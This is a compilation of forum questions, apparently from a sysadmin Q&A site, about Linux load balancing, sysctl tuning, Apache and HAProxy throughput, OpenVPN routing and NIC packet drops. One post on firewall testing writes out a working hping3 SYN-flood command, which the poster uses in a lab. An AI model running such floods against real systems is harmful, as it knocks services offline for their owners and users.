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• LVS / IPVS difference in ActiveConn since upgrading

  - by Hans

  I've recently migrated from an old version of LVS / ldirectord (Ultra Monkey) to a new Debian install with ldirectord. Now the amount of Active Connections is usually higher than the amount of Inactive Connections, it used to be the other way around. Basically on the old load balancer the connections looked something like: -> RemoteAddress:Port Forward Weight ActiveConn InActConn -> 10.84.32.21:0 Masq 1 12 252 -> 10.84.32.22:0 Masq 1 18 368 However since migrating it to the new load balancer it looks more like: -> RemoteAddress:Port Forward Weight ActiveConn InActConn -> 10.84.32.21:0 Masq 1 313 141 -> 10.84.32.22:0 Masq 1 276 183 Old load balancer: Debian 3.1 ipvsadm 1.24 ldirectord 1.2.3 New load balancer: Debian 6.0.5 ipvsadm 1.25 ldirectord 1.0.3 (I guess the versioning system changed) Is it because the old load balancer was running a kernel from 2005, and ldirectord from 2004, and things have simply changed in the past 7 - 8 years? Did I miss some sysctl settings that I should be enforcing for it to behave in the same way? Everything appears to be working fine but can anyone see an issue with this behaviour? Thanks in advance! Additional info: I'm using LVS in masquerading mode, the real servers have the load balancer as their gateway. The real servers are running Apache, which hasn't changed during the upgrade. The boxes themselves show roughly the same amount of Inactive Connections shown in ipvsadm.

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• disk space keeps filling up on EC2 instance with no apperent files/directories

  - by sasher

  How come os shows 6.5G used but I see only 3.6G in files/directories? Running as root on an Amazon Linux AMI (seems like Centos), lots of free memory available, no swapping going on, no apparent file descriptors issue. The only thing I can think of is a log file that was deleted while applications append to it. Disk space usage is slowly but continuously rising towards full capacity (~1k/min with very small decreases from time to time) Any explanation? Solution? du --max-depth=1 -h / 1.2G /usr 4.0K /cgroup 22M /lib64 11M /sbin 19M /etc 52K /dev 2.1G /var 4.0K /media 0 /sys 4.0K /selinux du: cannot access /proc/14024/task/14024/fd/4': No such file or directory du: cannot access<br/> /proc/14024/task/14024/fdinfo/4': No such file or directory du: cannot access /proc/14024/fd/4': No such file or directory du: cannot<br/> access/proc/14024/fdinfo/4': No such file or directory 0 /proc 18M /home 4.0K /logs 8.1M /bin 16K /lost+found 12M /tmp 4.0K /srv 35M /boot 79M /lib 56K /root 67M /opt 4.0K /local 4.0K /mnt 3.6G / df -h Filesystem Size Used Avail Use% Mounted on /dev/xvda1 7.9G 6.5G 1.4G 84% / tmpfs 3.7G 0 3.7G 0% /dev/shm sysctl fs.file-nr fs.file-nr = 864 0 761182

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• Limited connections to Ubuntu 12.04 server

  - by Luis M. Valenzuela

  I'm having a weird problem with my server. The server is inside my network, connected to a 3com switch which is connected to the router that handles the internet connection. The main purpose of the server is to host a php application. What's happening is that user 1 to 15 in the private network have no problems connecting to the server, when user 16 tries to connect a time out comes out and is unable to connect to the server. It's not just to the php application, but to any service from the server. When the 15 users are using the application, the server doesn't even answer to ping. I haven't set any special limit in Apache's ini file or MySql and the firewall is being turned off because the server is only to give service to the internal network. Is there a parameter in any of the network's card conf. files that might me causing this ? Or should I suspect from the router's or switches configuration ? UPDATE. Tomorrow, I'm gonna do some test on the server modifying two kernel params in : /etc/sysctl.conf The settings are: net.core.somaxconn which has the limit on simultaneous network connections to the server and kernel.shmmax which controls the amount of memory the system can use for managing connections.

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• Linux iptables / conntrack performance issue

  - by tim

  I have a test-setup in the lab with 4 machines: 2 old P4 machines (t1, t2) 1 Xeon 5420 DP 2.5 GHz 8 GB RAM (t3) Intel e1000 1 Xeon 5420 DP 2.5 GHz 8 GB RAM (t4) Intel e1000 to test linux firewall performance since we got bitten by a number of syn-flood attacks in the last months. All machines run Ubuntu 12.04 64bit. t1, t2, t3 are interconnected through an 1GB/s switch, t4 is connected to t3 via an extra interface. So t3 simulates the firewall, t4 is the target, t1,t2 play the attackers generating a packetstorm thorugh (192.168.4.199 is t4): hping3 -I eth1 --rand-source --syn --flood 192.168.4.199 -p 80 t4 drops all incoming packets to avoid confusion with gateways, performance issues of t4 etc. I watch the packet stats in iptraf. I have configured the firewall (t3) as follows: stock 3.2.0-31-generic #50-Ubuntu SMP kernel rhash_entries=33554432 as kernel parameter sysctl as follows: net.ipv4.ip_forward = 1 net.ipv4.route.gc_elasticity = 2 net.ipv4.route.gc_timeout = 1 net.ipv4.route.gc_interval = 5 net.ipv4.route.gc_min_interval_ms = 500 net.ipv4.route.gc_thresh = 2000000 net.ipv4.route.max_size = 20000000 (I have tweaked a lot to keep t3 running when t1+t2 are sending as many packets as possible). The result of this efforts are somewhat odd: t1+t2 manage to send each about 200k packets/s. t4 in the best case sees aroung 200k in total so half of the packets are lost. t3 is nearly unusable on console though packets are flowing through it (high numbers of soft-irqs) the route cache garbage collector is no way near to being predictable and in the default setting overwhelmed by very few packets/s (<50k packets/s) activating stateful iptables rules makes the packet rate arriving on t4 drop to around 100k packets/s, efectively losing more than 75% of the packets And this - here is my main concern - with two old P4 machines sending as many packets as they can - which means nearly everyone on the net should be capable of this. So here goes my question: Did I overlook some importand point in the config or in my test setup? Are there any alternatives for building firewall system especially on smp systems?

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• apache chokes after 300 connections

  - by john titus

  We have an apache webserver in front of Tomcat hosted on EC2, instance type is extra large with 34GB memory. Our application deals with lot of external webservices and we have a very lousy external webservice which takes almost 300 seconds to respond to requests during peak hours. During peak hours the server chokes at just about 300 httpd processes. ps -ef | grep httpd | wc -l =300 I have googled and found numerous suggestions but nothing seems to work.. following are some configuration i have done which are directly taken from online resources. I have increased the limits of max connection and max clients in both apache and tomcat. here are the configuration details: //apache <IfModule prefork.c> StartServers 100 MinSpareServers 10 MaxSpareServers 10 ServerLimit 50000 MaxClients 50000 MaxRequestsPerChild 2000 </IfModule> //tomcat <Connector port="8080" protocol="org.apache.coyote.http11.Http11NioProtocol" connectionTimeout="600000" redirectPort="8443" enableLookups="false" maxThreads="1500" compressableMimeType="text/html,text/xml,text/plain,text/css,application/x-javascript,text/vnd.wap.wml,text/vnd.wap.wmlscript,application/xhtml+xml,application/xml-dtd,application/xslt+xml" compression="on"/> //Sysctl.conf net.ipv4.tcp_tw_reuse=1 net.ipv4.tcp_tw_recycle=1 fs.file-max = 5049800 vm.min_free_kbytes = 204800 vm.page-cluster = 20 vm.swappiness = 90 net.ipv4.tcp_rfc1337=1 net.ipv4.tcp_max_orphans = 65536 net.ipv4.ip_local_port_range = 5000 65000 net.core.somaxconn = 1024 I have been trying numerous suggestions but in vain.. how to fix this? I'm sure m2xlarge server should serve more requests than 300, probably i might be going wrong with my configuration.. The server chokes only during peak hours and when there are 300 concurrent requests waiting for the [300 second delayed] webservice to respond. Please help..

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• Tuning Linux + HAProxy

  - by react

  I'm currently rolling out HAProxy on Centos 6 which will send requests to some Apache HTTPD servers and I'm having issues with performance. I've spent the last couple of days googling and still can't seem to get past 10k/sec connections consistently when benchmarking (sometimes I do get 30k/sec though). I've pinned the IRQ's of the TX/RX queues for both the internal and external NICS to separate CPU cores and made sure HAProxy is pinned to it's own core. I've also made the following adjustments to sysctl.conf: # Max open file descriptors fs.file-max = 331287 # TCP Tuning net.ipv4.tcp_tw_reuse = 1 net.ipv4.ip_local_port_range = 1024 65023 net.ipv4.tcp_max_syn_backlog = 10240 net.ipv4.tcp_max_tw_buckets = 400000 net.ipv4.tcp_max_orphans = 60000 net.ipv4.tcp_synack_retries = 3 net.core.somaxconn = 40000 net.ipv4.tcp_rmem = 4096 8192 16384 net.ipv4.tcp_wmem = 4096 8192 16384 net.ipv4.tcp_mem = 65536 98304 131072 net.core.netdev_max_backlog = 40000 net.ipv4.tcp_tw_reuse = 1 If I use AB to hit the a webserver directly I easily get 30k/s connections. If I stop the webservers and use AB to hit HAProxy then I get 30k/s connections but obviously it's useless. I've also disabled iptables for now since I read that nf_conntrack can slow everything down, no change. I've also disabled the irqbalance service. The fact that I can hit each individual device with 30k/s makes me believe the tuning of the servers is OK and that it must be some HAProxy config? Here's the config which I've built from reading tuning articles, etc http://pastebin.com/zsCyAtgU The server is a dual Xeon CPU E5-2620 (6 cores) with 32GB of RAM. Running Centos 6.2 x64. The private and public interfaces are on separate NICS. Anyone have any ideas? Thanks.

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• Siege - running a stress test benchmark

  - by morgoth84

  I need to do a benchmark test of a HTTPS server using Siege, to see how it behaves under massive load. I'm initiating tests from another machine which is quite powerful and it is connected to the same physical switch the server is connected on. But when I initiate a test, I can't get it to make more than 170 requests per second. With this load the server's CPU usage is at 15-20% and the average response time for a request is approx. 0.03 seconds. Load of the client machine is approx. at 10%. So, I gradually increase the number of users in Siege (the number of worker threads) and request rate linearly increases up to 170 reqs/sec, but it never gets over it. No matter how many more worker threads I start, the load on the server is never more than 20% (and the client's load also doesn't increase any more). How can I overcome this? I've googled a bit and found out that after a request is completed, a socket associated with one ephermal port remains in WAIT_TIME state for some time during which it can't be reused. I tried to overcome this by doing these things: sysctl -w net.ipv4.ip_local_port_range="1024 65535" echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle Oh, and the client machine is a Linux (RedHat, I think, but I'm not sure). Any help would be appreciated.

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• apache/httpd responds slower under EL6.1 than EL5.6 (centos)

  - by daniel

  I've read through other threads on performance differences between RHEL6 and RHEL5, but none seem a tight match to mine. My issue manifests itself in slightly slower average response time (20ms) per request. I have about 10/10 servers of the same hardware spec with Cent6.1 and Cent5.6. The issue is consistent across the group. I am running Ruby on Rails with Passenger. Apache config is identical (checked out from the same SVN repo) Ruby and Passenger are identical builds. Application is identical and being served traffic round robin. mod_worker An interesting clue from server-status: The Cent6.1 servers have a steady 20-40 threads in the "Reading Request" state while the Cent5.6 servers have around 1. I'm graphing this so I can see it trend over time. I also have a bunch of much newer machines that are significantly faster and are running Cent6.1. They dust all the older machines in response time, but I can see they also have a steady 20-40 threads in the "Reading Request" state. This makes me believe I can get their response time down, if I can figure out what is holding up these requests. My gut is telling me that I need to tune some network setting in sysctl, but I haven't figured it out yet. Help is appreciated.

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• Routing Traffic With OpenVPN

  - by user224277

  Few minutes ago i configured my VPN server, and actually I can connect to my VPN but all trafic is going through my normal home network. On my OpenVPN application I've got an information : Server IP: **.185.***.*10 Client IP: 10.8.0.6 Traffic: 7.3 KB in, 5.6 KB out Connected: 10 June 2014 19:21:59 So everything is connected but how I can setup on windows 7 that all trafic have to go through OpenVPN network card ?? Client setting : client dev tun proto udp # enter the server's hostname # or IP address here, and port number remote **.185.***.*10 1194 resolv-retry infinite nobind persist-key persist-tun # Use the full filepaths to your # certificates and keys ca ca.crt cert user1.crt key user1.key ns-cert-type server comp-lzo verb 6 Server setting : port 1194 proto udp dev tun # the full paths to your server keys and certs ca /etc/openvpn/keys/ca.crt cert /etc/openvpn/keys/server.crt key /etc/openvpn/keys/server.key dh /etc/openvpn/keys/dh2048.pem cipher BF-CBC # Set server mode, and define a virtual pool of IP # addresses for clients to use. Use any subnet # that does not collide with your existing subnets. # In this example, the server can be pinged at 10.8.0.1 server 10.8.0.0 255.255.255.0 # Set up route(s) to subnet(s) behind # OpenVPN server push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 8.8.4.4" ifconfig-pool-persist /etc/openvpn/ipp.txt keepalive 10 120 status openvpn-status.log verb 6 and sysctl : net.ipv4.ip_forward=1 Thank you for your time and help.

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• unexplainable packet drops with 5 ethernet NICs and low traffic on Ubuntu

  - by jon

  I'm stuck on problem where my machine started to drops packets with no sign of ANY system load or high interrupt usage after an upgrade to Ubuntu 12.04. My server is a network monitoring sensor, running Ubuntu LTS 12.04, it passively collects packets from 5 interfaces doing network intrusion type stuff. Before the upgrade I managed to collect 200+GB of packets a day while writing them to disk with around 0% packet loss depending on the day with the help of CPU affinity and NIC IRQ to CPU bindings. Now I lose a great deal of packets with none of my applications running and at very low PPS rate which a modern workstation NIC would have no trouble with. Specs: x64 Xeon 4 cores 3.2 Ghz 16 GB RAM NICs: 5 Intel Pro NICs using the e1000 driver (NAPI). [1] eth0 and eth1 are integrated NICs (in the motherboard) There are 2 other PCI-X network cards, each with 2 Ethernet ports. 3 of the interfaces are running at Gigabit Ethernet, the others are not because they're attached to hubs. Specs: [2] http://support.dell.com/support/edocs/systems/pe2850/en/ug/t1390aa.htm uptime 17:36:00 up 1:43, 2 users, load average: 0.00, 0.01, 0.05 # uname -a Linux nms 3.2.0-29-generic #46-Ubuntu SMP Fri Jul 27 17:03:23 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux I also have the CPU governor set to performance mode and irqbalance off. The problem still occurs with them on. # lspci -t -vv -[0000:00]-+-00.0 Intel Corporation E7520 Memory Controller Hub +-02.0-[01-03]--+-00.0-[02]----0e.0 Dell PowerEdge Expandable RAID controller 4 | \-00.2-[03]-- +-04.0-[04]-- +-05.0-[05-07]--+-00.0-[06]----07.0 Intel Corporation 82541GI Gigabit Ethernet Controller | \-00.2-[07]----08.0 Intel Corporation 82541GI Gigabit Ethernet Controller +-06.0-[08-0a]--+-00.0-[09]--+-04.0 Intel Corporation 82546EB Gigabit Ethernet Controller (Copper) | | \-04.1 Intel Corporation 82546EB Gigabit Ethernet Controller (Copper) | \-00.2-[0a]--+-02.0 Digium, Inc. Wildcard TE210P/TE212P dual-span T1/E1/J1 card 3.3V | +-03.0 Intel Corporation 82546EB Gigabit Ethernet Controller (Copper) | \-03.1 Intel Corporation 82546EB Gigabit Ethernet Controller (Copper) +-1d.0 Intel Corporation 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #1 +-1d.1 Intel Corporation 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #2 +-1d.2 Intel Corporation 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #3 +-1d.7 Intel Corporation 82801EB/ER (ICH5/ICH5R) USB2 EHCI Controller +-1e.0-[0b]----0d.0 Advanced Micro Devices [AMD] nee ATI RV100 QY [Radeon 7000/VE] +-1f.0 Intel Corporation 82801EB/ER (ICH5/ICH5R) LPC Interface Bridge \-1f.1 Intel Corporation 82801EB/ER (ICH5/ICH5R) IDE Controller I believe the NIC nor the NIC drivers are dropping the packets because ethtool reports 0 under rx_missed_errors and rx_no_buffer_count for each interface. On the old system, if it couldn't keep up this is where the drops would be. I drop packets on multiple interfaces just about every second, usually in small increments of 2-4. I tried all these sysctl values, I'm currently using the uncommented ones. # cat /etc/sysctl.conf # high net.core.netdev_max_backlog = 3000000 net.core.rmem_max = 16000000 net.core.rmem_default = 8000000 # defaults #net.core.netdev_max_backlog = 1000 #net.core.rmem_max = 131071 #net.core.rmem_default = 163480 # moderate #net.core.netdev_max_backlog = 10000 #net.core.rmem_max = 33554432 #net.core.rmem_default = 33554432 Here's an example of an interface stats report with ethtool. They are all the same, nothing is out of the ordinary ( I think ), so I'm only going to show one: ethtool -S eth2 NIC statistics: rx_packets: 7498 tx_packets: 0 rx_bytes: 2722585 tx_bytes: 0 rx_broadcast: 327 tx_broadcast: 0 rx_multicast: 1504 tx_multicast: 0 rx_errors: 0 tx_errors: 0 tx_dropped: 0 multicast: 1504 collisions: 0 rx_length_errors: 0 rx_over_errors: 0 rx_crc_errors: 0 rx_frame_errors: 0 rx_no_buffer_count: 0 rx_missed_errors: 0 tx_aborted_errors: 0 tx_carrier_errors: 0 tx_fifo_errors: 0 tx_heartbeat_errors: 0 tx_window_errors: 0 tx_abort_late_coll: 0 tx_deferred_ok: 0 tx_single_coll_ok: 0 tx_multi_coll_ok: 0 tx_timeout_count: 0 tx_restart_queue: 0 rx_long_length_errors: 0 rx_short_length_errors: 0 rx_align_errors: 0 tx_tcp_seg_good: 0 tx_tcp_seg_failed: 0 rx_flow_control_xon: 0 rx_flow_control_xoff: 0 tx_flow_control_xon: 0 tx_flow_control_xoff: 0 rx_long_byte_count: 2722585 rx_csum_offload_good: 0 rx_csum_offload_errors: 0 alloc_rx_buff_failed: 0 tx_smbus: 0 rx_smbus: 0 dropped_smbus: 01 # ifconfig eth0 Link encap:Ethernet HWaddr 00:11:43:e0:e2:8c UP BROADCAST RUNNING NOARP PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:373348 errors:16 dropped:95 overruns:0 frame:16 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:356830572 (356.8 MB) TX bytes:0 (0.0 B) eth1 Link encap:Ethernet HWaddr 00:11:43:e0:e2:8d UP BROADCAST RUNNING NOARP PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:13616 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:8690528 (8.6 MB) TX bytes:0 (0.0 B) eth2 Link encap:Ethernet HWaddr 00:04:23:e1:77:6a UP BROADCAST RUNNING NOARP PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:7750 errors:0 dropped:471 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2780935 (2.7 MB) TX bytes:0 (0.0 B) eth3 Link encap:Ethernet HWaddr 00:04:23:e1:77:6b UP BROADCAST RUNNING NOARP PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:5112 errors:0 dropped:206 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:639472 (639.4 KB) TX bytes:0 (0.0 B) eth4 Link encap:Ethernet HWaddr 00:04:23:b6:35:6c UP BROADCAST RUNNING NOARP PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:961467 errors:0 dropped:935 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:958561305 (958.5 MB) TX bytes:0 (0.0 B) eth5 Link encap:Ethernet HWaddr 00:04:23:b6:35:6d inet addr:192.168.1.6 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:4264 errors:0 dropped:16 overruns:0 frame:0 TX packets:699 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:572228 (572.2 KB) TX bytes:124456 (124.4 KB) I tried the defaults, then started to play around with settings. I wasn't using any flow control and I increased the RxDescriptor count to 4096 before the upgrade as well without any problems. # cat /etc/modprobe.d/e1000.conf options e1000 XsumRX=0,0,0,0,0 RxDescriptors=4096,4096,4096,4096,4096 FlowControl=0,0,0,0,0 debug=16 Here's my network configuration file, I turned off checksumming and various offloading mechanisms along with setting CPU affinity with heavy use interfaces getting an entire CPU and light use interfaces sharing a CPU. I used these settings prior to the upgrade without problems. # cat /etc/network/interfaces # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet manual pre-up /sbin/ethtool -G eth0 rx 4096 tx 0 pre-up /sbin/ethtool -K eth0 gro off gso off rx off pre-up /sbin/ethtool -A eth0 rx off autoneg off up ifconfig eth0 0.0.0.0 -arp promisc mtu 1500 allmulti txqueuelen 0 up post-up echo "4" > /proc/irq/48/smp_affinity down ifconfig eth0 down post-down /sbin/ethtool -G eth0 rx 256 tx 256 post-down /sbin/ethtool -K eth0 gro on gso on rx on post-down /sbin/ethtool -A eth0 rx on autoneg on auto eth1 iface eth1 inet manual pre-up /sbin/ethtool -G eth1 rx 4096 tx 0 pre-up /sbin/ethtool -K eth1 gro off gso off rx off pre-up /sbin/ethtool -A eth1 rx off autoneg off up ifconfig eth1 0.0.0.0 -arp promisc mtu 1500 allmulti txqueuelen 0 up post-up echo "4" > /proc/irq/49/smp_affinity down ifconfig eth1 down post-down /sbin/ethtool -G eth1 rx 256 tx 256 post-down /sbin/ethtool -K eth1 gro on gso on rx on post-down /sbin/ethtool -A eth1 rx on autoneg on auto eth2 iface eth2 inet manual pre-up /sbin/ethtool -G eth2 rx 4096 tx 0 pre-up /sbin/ethtool -K eth2 gro off gso off rx off pre-up /sbin/ethtool -A eth2 rx off autoneg off up ifconfig eth2 0.0.0.0 -arp promisc mtu 1500 allmulti txqueuelen 0 up post-up echo "1" > /proc/irq/82/smp_affinity down ifconfig eth2 down post-down /sbin/ethtool -G eth2 rx 256 tx 256 post-down /sbin/ethtool -K eth2 gro on gso on rx on post-down /sbin/ethtool -A eth2 rx on autoneg on auto eth3 iface eth3 inet manual pre-up /sbin/ethtool -G eth3 rx 4096 tx 0 pre-up /sbin/ethtool -K eth3 gro off gso off rx off pre-up /sbin/ethtool -A eth3 rx off autoneg off up ifconfig eth3 0.0.0.0 -arp promisc mtu 1500 allmulti txqueuelen 0 up post-up echo "2" > /proc/irq/83/smp_affinity down ifconfig eth3 down post-down /sbin/ethtool -G eth3 rx 256 tx 256 post-down /sbin/ethtool -K eth3 gro on gso on rx on post-down /sbin/ethtool -A eth3 rx on autoneg on auto eth4 iface eth4 inet manual pre-up /sbin/ethtool -G eth4 rx 4096 tx 0 pre-up /sbin/ethtool -K eth4 gro off gso off rx off pre-up /sbin/ethtool -A eth4 rx off autoneg off up ifconfig eth4 0.0.0.0 -arp promisc mtu 1500 allmulti txqueuelen 0 up post-up echo "4" > /proc/irq/77/smp_affinity down ifconfig eth4 down post-down /sbin/ethtool -G eth4 rx 256 tx 256 post-down /sbin/ethtool -K eth4 gro on gso on rx on post-down /sbin/ethtool -A eth4 rx on autoneg on auto eth5 iface eth5 inet static pre-up /etc/fw.conf address 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 gateway 192.168.1.1 dns-nameservers 192.168.1.2 192.168.1.3 up ifconfig eth5 up post-up echo "8" > /proc/irq/77/smp_affinity down ifconfig eth5 down Here's a few examples of packet drops, i ran one after another, probabling totaling 3 or 4 seconds. You can see increases in the drops from the 1st and 3rd. This was a non-busy time, very little traffic. # awk '{ print $1,$5 }' /proc/net/dev Inter-| face drop eth3: 225 lo: 0 eth2: 505 eth1: 0 eth5: 17 eth0: 105 eth4: 1034 # awk '{ print $1,$5 }' /proc/net/dev Inter-| face drop eth3: 225 lo: 0 eth2: 507 eth1: 0 eth5: 17 eth0: 105 eth4: 1034 # awk '{ print $1,$5 }' /proc/net/dev Inter-| face drop eth3: 227 lo: 0 eth2: 512 eth1: 0 eth5: 17 eth0: 105 eth4: 1039 I tried the pci=noacpi options. With and without, it's the same. This is what my interrupt stats looked like before the upgrade, after, with ACPI on PCI it showed multiple NICs bound to an interrupt and shared with other devices such as USB drives which I didn't like so I think i'm going to keep it with ACPI off as it's easier to designate sole purpose interrupts. Is there any advantage I would have using the default i.e. ACPI w/ PCI. ? # cat /etc/default/grub | grep CMD_LINE GRUB_CMDLINE_LINUX_DEFAULT="ipv6.disable=1 noacpi pci=noacpi" GRUB_CMDLINE_LINUX="" # cat /proc/interrupts CPU0 CPU1 CPU2 CPU3 0: 45 0 0 16 IO-APIC-edge timer 1: 1 0 0 7936 IO-APIC-edge i8042 2: 0 0 0 0 XT-PIC-XT-PIC cascade 6: 0 0 0 3 IO-APIC-edge floppy 8: 0 0 0 1 IO-APIC-edge rtc0 9: 0 0 0 0 IO-APIC-edge acpi 12: 0 0 0 1809 IO-APIC-edge i8042 14: 1 0 0 4498 IO-APIC-edge ata_piix 15: 0 0 0 0 IO-APIC-edge ata_piix 16: 0 0 0 0 IO-APIC-fasteoi uhci_hcd:usb2 18: 0 0 0 1350 IO-APIC-fasteoi uhci_hcd:usb4, radeon 19: 0 0 0 0 IO-APIC-fasteoi uhci_hcd:usb3 23: 0 0 0 4099 IO-APIC-fasteoi ehci_hcd:usb1 38: 0 0 0 61963 IO-APIC-fasteoi megaraid 48: 0 0 1002319 4 IO-APIC-fasteoi eth0 49: 0 0 38772 3 IO-APIC-fasteoi eth1 77: 0 0 130076 432159 IO-APIC-fasteoi eth4 78: 0 0 0 23917 IO-APIC-fasteoi eth5 82: 1329033 0 0 4 IO-APIC-fasteoi eth2 83: 0 4886525 0 6 IO-APIC-fasteoi eth3 NMI: 5 6 4 5 Non-maskable interrupts LOC: 61409 57076 64257 114764 Local timer interrupts SPU: 0 0 0 0 Spurious interrupts IWI: 0 0 0 0 IRQ work interrupts RES: 17956 25333 13436 14789 Rescheduling interrupts CAL: 22436 607 539 478 Function call interrupts TLB: 1525 1458 4600 4151 TLB shootdowns TRM: 0 0 0 0 Thermal event interrupts THR: 0 0 0 0 Threshold APIC interrupts MCE: 0 0 0 0 Machine check exceptions MCP: 16 16 16 16 Machine check polls ERR: 0 MIS: 0 Here's sample output of vmstat, showing the system. Barebones system right now. root@nms:~# vmstat -S m 1 procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- r b swpd free buff cache si so bi bo in cs us sy id wa 0 0 0 14992 192 1029 0 0 56 2 419 29 1 0 99 0 0 0 0 14992 192 1029 0 0 0 0 922 27 0 0 100 0 0 0 0 14991 192 1029 0 0 0 36 763 50 0 0 100 0 0 0 0 14991 192 1029 0 0 0 0 646 35 0 0 100 0 0 0 0 14991 192 1029 0 0 0 0 722 54 0 0 100 0 0 0 0 14991 192 1029 0 0 0 0 793 27 0 0 100 0 ^C Here's dmesg output. I can't figure out why my PCI-X slots are negotiated as PCI. The network cards are all PCI-X with the exception of the integrated NICs that came with the server. In the output below it looks as if eth3 and eth2 negotiated at PCI-X speeds rather than PCI:66Mhz. Wouldn't they all drop to PCI:66Mhz? If your integrated NICs are PCI, as labeled below (eth0,eth1), then wouldn't all devices on your bus speed drop down to that slower bus speed? If not, I still don't know why only one of my NICs ( each has two ethernet ports) is labeled as PCI-X in the output below. Does that mean it is running at PCI-X speeds are is it showing that it's capable? # dmesg | grep e1000 [ 3678.349337] e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI [ 3678.349342] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 3678.349394] e1000 0000:06:07.0: PCI->APIC IRQ transform: INT A -> IRQ 48 [ 3678.409725] e1000 0000:06:07.0: Receive Descriptors set to 4096 [ 3678.409730] e1000 0000:06:07.0: Checksum Offload Disabled [ 3678.409734] e1000 0000:06:07.0: Flow Control Disabled [ 3678.586409] e1000 0000:06:07.0: eth0: (PCI:66MHz:32-bit) 00:11:43:e0:e2:8c [ 3678.586419] e1000 0000:06:07.0: eth0: Intel(R) PRO/1000 Network Connection [ 3678.586642] e1000 0000:07:08.0: PCI->APIC IRQ transform: INT A -> IRQ 49 [ 3678.649854] e1000 0000:07:08.0: Receive Descriptors set to 4096 [ 3678.649859] e1000 0000:07:08.0: Checksum Offload Disabled [ 3678.649863] e1000 0000:07:08.0: Flow Control Disabled [ 3678.826436] e1000 0000:07:08.0: eth1: (PCI:66MHz:32-bit) 00:11:43:e0:e2:8d [ 3678.826444] e1000 0000:07:08.0: eth1: Intel(R) PRO/1000 Network Connection [ 3678.826627] e1000 0000:09:04.0: PCI->APIC IRQ transform: INT A -> IRQ 82 [ 3679.093266] e1000 0000:09:04.0: Receive Descriptors set to 4096 [ 3679.093271] e1000 0000:09:04.0: Checksum Offload Disabled [ 3679.093275] e1000 0000:09:04.0: Flow Control Disabled [ 3679.130239] e1000 0000:09:04.0: eth2: (PCI-X:133MHz:64-bit) 00:04:23:e1:77:6a [ 3679.130246] e1000 0000:09:04.0: eth2: Intel(R) PRO/1000 Network Connection [ 3679.130449] e1000 0000:09:04.1: PCI->APIC IRQ transform: INT B -> IRQ 83 [ 3679.397312] e1000 0000:09:04.1: Receive Descriptors set to 4096 [ 3679.397318] e1000 0000:09:04.1: Checksum Offload Disabled [ 3679.397321] e1000 0000:09:04.1: Flow Control Disabled [ 3679.434350] e1000 0000:09:04.1: eth3: (PCI-X:133MHz:64-bit) 00:04:23:e1:77:6b [ 3679.434360] e1000 0000:09:04.1: eth3: Intel(R) PRO/1000 Network Connection [ 3679.434553] e1000 0000:0a:03.0: PCI->APIC IRQ transform: INT A -> IRQ 77 [ 3679.704072] e1000 0000:0a:03.0: Receive Descriptors set to 4096 [ 3679.704077] e1000 0000:0a:03.0: Checksum Offload Disabled [ 3679.704081] e1000 0000:0a:03.0: Flow Control Disabled [ 3679.738364] e1000 0000:0a:03.0: eth4: (PCI:33MHz:64-bit) 00:04:23:b6:35:6c [ 3679.738371] e1000 0000:0a:03.0: eth4: Intel(R) PRO/1000 Network Connection [ 3679.738538] e1000 0000:0a:03.1: PCI->APIC IRQ transform: INT B -> IRQ 78 [ 3680.046060] e1000 0000:0a:03.1: eth5: (PCI:33MHz:64-bit) 00:04:23:b6:35:6d [ 3680.046067] e1000 0000:0a:03.1: eth5: Intel(R) PRO/1000 Network Connection [ 3682.132415] e1000: eth0 NIC Link is Up 100 Mbps Half Duplex, Flow Control: None [ 3682.224423] e1000: eth1 NIC Link is Up 100 Mbps Half Duplex, Flow Control: None [ 3682.316385] e1000: eth2 NIC Link is Up 100 Mbps Half Duplex, Flow Control: None [ 3682.408391] e1000: eth3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None [ 3682.500396] e1000: eth4 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None [ 3682.708401] e1000: eth5 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX At first I thought it was the NIC drivers but I'm not so sure. I really have no idea where else to look at the moment. Any help is greatly appreciated as I'm struggling with this. If you need more information just ask. Thanks! [1]http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/Documentation/networking/e1000.txt?v=2.6.11.8 [2] http://support.dell.com/support/edocs/systems/pe2850/en/ug/t1390aa.htm

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• Ubuntu 12.04 LXC nat prerouting not working

  - by petermolnar

